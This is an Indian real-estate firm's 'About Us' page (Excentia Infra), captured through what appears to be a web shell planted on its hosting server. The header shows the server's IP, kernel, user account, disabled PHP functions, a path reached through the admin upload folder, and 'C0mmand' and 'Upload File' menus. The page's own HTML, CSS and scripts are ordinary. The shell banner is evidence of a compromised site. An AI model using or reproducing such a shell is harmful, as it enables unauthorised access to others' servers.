|
Server IP : 145.79.210.100 / Your IP : 216.73.216.6 Web Server : LiteSpeed System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64 User : u474798400 ( 474798400) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u474798400/domains/excentia.in/public_html/admin/upload_image/../../old/sass/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<!----font awesome cdn-------->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<!-----Custom css-->
<link rel="stylesheet" href="./sass/style.css">
<!-----owl carousel css link-->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.1.3/assets/owl.carousel.min.css">
<link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
<title>About Us</title>
<style>
.owl-prev{
position: absolute;
left: -6%;
bottom: 40%;
}
.owl-prev span{
color: #ffffff;
font-size: 50px;
}
.owl-next{
position: absolute;
right: -6%;
bottom: 40%;
}
.owl-next span{
color: #ffffff;
font-size: 50px;
}
#nav-wrap{
opacity: 1;
animation: none;
}
#first{
display: block;
}
.logo #second{
display: none;
width: 36%;
}
</style>
</head>
<body>
<header>
<div class="nav_wrap" id="nav-wrap" data-aos="fade-down" data-aos-duration="3000">
<div class="logo">
<a href="index.html">
<img src="./images/logo.png" alt="" id="first">
<img src="./images/excentia-logo.png" alt="" id="second">
</a>
</div>
<div class="menuWithIcons">
<ul>
<li>
<div class="box"></div>
<a href="#">Overview</a>
</li>
<li>
<div class="box"></div>
<a href="#">Services</a>
</li>
<li>
<div class="box"></div>
<a href="#">Client</a>
</li>
<li>
<div class="box"></div>
<a href="#">Recognition</a>
</li>
<li>
<div class="box"></div>
<a href="#">Career</a>
</li>
</ul>
<div class="menu_icon">
<span class="one"></span>
<span class="two"></span>
<span class="three"></span>
</div>
</div>
</div>
<div class="menu-items-container">
<ul>
<li><a href="index.html" class="menu-1">Home</a></li>
<li><a href="about_us.html" class="menu-2">About Us</a></li>
<li><a href="projects.html" class="menu-3">Projects</a></li>
<li><a href="#" class="menu-4">Portfolio</a></li>
<li><a href="#" class="menu-5">Innovation</a></li>
<li><a href="contact.html" class="menu-6">Contact Us</a></li>
</ul>
</div>
</header>
<!-- <section class="second-sec">
<div class="head">
<h3>About Us</h3>
</div>
<div class="main-title">
<span>Experience</span>
<h1>your home <br/>with us</h1>
<div class="para-text">
At Excentia Infra, we've been shaping the skyline of Delhi NCR since 1986 with a steadfast commitment to integrity and excellence. In the past year alone, we've proudly delivered over 600,000 sqft of residential and retail spaces, with another 2.4 million sqft currently in development across Noida, Kota, and Dehradun. Our holistic approach, blending world-class design, flawless execution, and innovative marketing, ensures unparalleled value for our customers. With a dedicated team and a relentless pursui of quality, we're redefining real estate with every project.
</div>
<div class="bottom-logo">
<img src="images\bottom-logo.png" alt="">
</div>
</div>
</section> -->
<section class="second">
<h3 class="caption" data-aos="fade-up">About Us<span class="underline"></span></h3>
<span data-aos="fade-up">Experience</span>
<h1 data-aos="fade-up">your home</h1>
<div class="parent">
<div class="left_part">
<h1 data-aos="fade-up">with us</h1>
<div class="logo_part" data-aos="fade-up">
<img src="images\logo_part.png" alt="">
</div>
</div>
<div class="right_part" data-aos="fade-up">
At Excentia Infra, we've been shaping the skyline of Delhi NCR since 1986 with a steadfast commitment to integrity and excellence. In the past year alone, we've proudly delivered over 600,000 square feet of residential and retail spaces, with another 2.4 million square feet currently in development across Noida, Kota, and Dehradun. Our holistic approach, blending world-class design, flawless execution, and innovative marketing, ensures unparalleled value for our customers. With a dedicated team and a relentless pursuit of quality, we're redefining real estate with every project.
</div>
</div>
</section>
<section class="third-sec">
<div class="mid-image owl-carousel">
<div class="img" class="item" data-aos="zoom-in">
<img src="./images/about-img-1.jpg" alt="">
</div>
<div class="img" class="item" data-aos="zoom-in">
<img src="./images/about-img-2.jpg" alt="">
</div>
<div class="img" class="item" data-aos="zoom-in">
<img src="./images/about-img-1.jpg" alt="">
</div>
<div class="img" class="item" data-aos="zoom-in">
<img src="./images/about-img-2.jpg" alt="">
</div>
</div>
</section>
<section class="onscroll-logo">
<div class="logo-container">
<div class="firstpart">
<img src="./images/1.png" alt="">
</div>
<div class="secondpart">
<img src="./images/2.png" alt="">
</div>
<div class="thirdpart">
<img src="./images/3.png" alt="">
</div>
<div class="fourthpart">
<img src="./images/4.png" alt="">
</div>
<div class="fifthpart">
<img src="./images/5.png" alt="">
</div>
</div>
</section>
<section class="fifth-sec">
<div class="left-container">
<h3 data-aos="fade-up">Exuberant</h3>
<h1 data-aos="fade-up">dream in</h1>
<div class="main_parent">
<div class="left_part">
<h1 data-aos="fade-up">making</h1>
<div data-aos="fade-up" class="bottom_img">
<img src="./images/leaf-img.jpg" alt="">
</div>
</div>
<div class="right_part" data-aos="fade-up">
Our vision of "Building a Sustainable Life" transcends boundaries, catering to diverse geographies, markets, and consumer segments. Through the deployment of skilled professionals and best-in-class processes, we aspire to pioneer innovative developments in residential, retail, and office spaces. Our objective is to deliver superior spaces while upholding cost-efficiency and prioritizing social and environmental responsibility, thereby fostering a well-rounded impact on communities.
</div>
</div>
</div>
</section>
<footer>
<div class="left-footer">
<div class="menus">
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Projects</a></li>
<li><a href="#">Media</a></li>
<li><a href="#">Work With US</a></li>
<li><a href="#">Contact</a></li>
</ul>
</div>
<div class="copyright">
Copyright © 2024 Itinfo Technologies Pvt. Ltd. All rights reserved.
</div>
</div>
<div class="middle-footer">
<div class="logo">
<img src="./images/footer_logo.png" alt="">
</div>
<div class="social_icons">
<ul>
<li><a href="#"><i class="fa-brands fa-facebook-f"></i></a></li>
<li><a href="#"><i class="fa-brands fa-twitter"></i></a></li>
<li><a href="#"><i class="fa-brands fa-linkedin-in"></i></a></li>
<li><a href="#"><i class="fa-brands fa-instagram"></i></a></li>
<li><a href="#"><i class="fa-brands fa-youtube"></i></a></li>
</ul>
</div>
</div>
<div class="right-footer">
<div class="phone_number"><b>Phone Number-</b> 011-22517733, 011-22527733</div>
<div class="address"><b>Address-</b> A-12, Swasthya Vihar, Vikas Marg, Delhi-110092</div>
<div class="email"><b>Email-</b> info@excentia.in</div>
</div>
</footer>
<!-------custom js-->
<script src="./js/commonMenu.js"></script>
<!-----bootstrap5 script link----->
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js" integrity="sha384-IQsoLXl5PILFhosVNubq5LC7Qb9DXgDA9i+tQ8Zj3iwWAwPtgFTxbJ8NT4GN1R8p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.min.js" integrity="sha384-cVKIPhGWiC2Al4u+LWgxfKTRIcfu0JTxR+EQDz/bgldoEyl4H0zUF0QKbrJ0EcQF" crossorigin="anonymous"></script>
<!------owl carousel script link-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.2/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.1.3/owl.carousel.min.js"></script>
<script>
$('.owl-carousel').owlCarousel({
loop: true,
nav: true,
smartSpeed: 1000,
margin:25,
loop:true,
navText: [
"<span>⟵</span>",
"<span>⟶</span>"
],
autoplay: false,
responsive: {
0: {
items: 1
},
600: {
items: 1
},
1000: {
items: 2
}
}
});
</script>
<!-------gsap scroll-trigger js link-->
<script src="https://unpkg.co/gsap@3/dist/gsap.min.js"></script>
<script src="https://unpkg.com/gsap@3/dist/ScrollTrigger.min.js"></script>
<script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
<script>
gsap.registerPlugin(ScrollTrigger);
gsap.fromTo(
'.firstpart',
{ xPercent: -550 }, // It Starts on the rights
{
xPercent: 200, // It Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
//pin: 'header',
//trigger: '.fourth_part',
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.secondpart',
{ xPercent:-450 }, //It Starts on the rights
{
xPercent: 120, //It Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
//pin: 'header',
//trigger: '.fourth_part',
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.fourthpart',
{ xPercent: 350 }, //Starts on the rights
{
xPercent: -100, // Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.fifthpart',
{ xPercent:550 }, // it Starts on the rights...
{
xPercent: -250, // it Moves to the left...
ease: 'power1.inOut',
scrollTrigger: {
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
</script>
<script>
AOS.init({
duration:1500
});
</script>
<script>
window.onscroll = function() {myFunction()};
logo_1= document.querySelector("#first");
logo_2=document.querySelector("#second")
function myFunction() {
if (document.documentElement.scrollTop > 50) {
logo_1.style.display="none";
logo_2.style.display="block";
document.querySelector(".nav_wrap").style.backgroundColor="rgba(255,255,255,1)"
} else {
logo_1.style.display="block";
logo_2.style.display="none";
document.querySelector(".nav_wrap").style.backgroundColor="transparent"
}
}
</script>
</body>
</html>